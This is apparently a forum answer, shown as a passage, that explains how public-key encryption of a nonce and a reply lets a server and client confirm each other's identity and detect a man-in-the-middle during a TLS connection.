The encrypted nonce will be decrypted by the client using the private key associated with its public key. It will then encrypt a reply using the public key mentioned in the certificate it received from you(during serverHello/serverCertificate handshake of TLS). and will send you the encrypted reply.

You will decrypt the reply using the private key associated with your public key. If it is the reply you're expecting, then it means its a legitimate client. If not, its an MITM on the other end.

Note that in order to successfully hack the connection and decrypt the contents, the MITM needs the private keys of both the legitimate client and you(server). This is not posible since the private keys are never sent across to each other, and hence the MITM can never sniff it.

Hence a secure communication with legitimate client is established.

Hope this clarifies.